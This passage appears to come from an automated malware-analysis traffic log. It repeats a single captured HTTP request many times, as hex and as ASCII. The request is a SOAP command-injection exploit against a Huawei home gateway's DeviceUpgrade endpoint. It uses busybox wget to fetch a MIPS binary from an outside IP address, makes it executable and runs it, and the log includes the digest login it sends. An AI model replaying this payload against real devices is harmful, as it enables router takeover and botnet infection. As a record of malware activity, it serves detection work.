6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
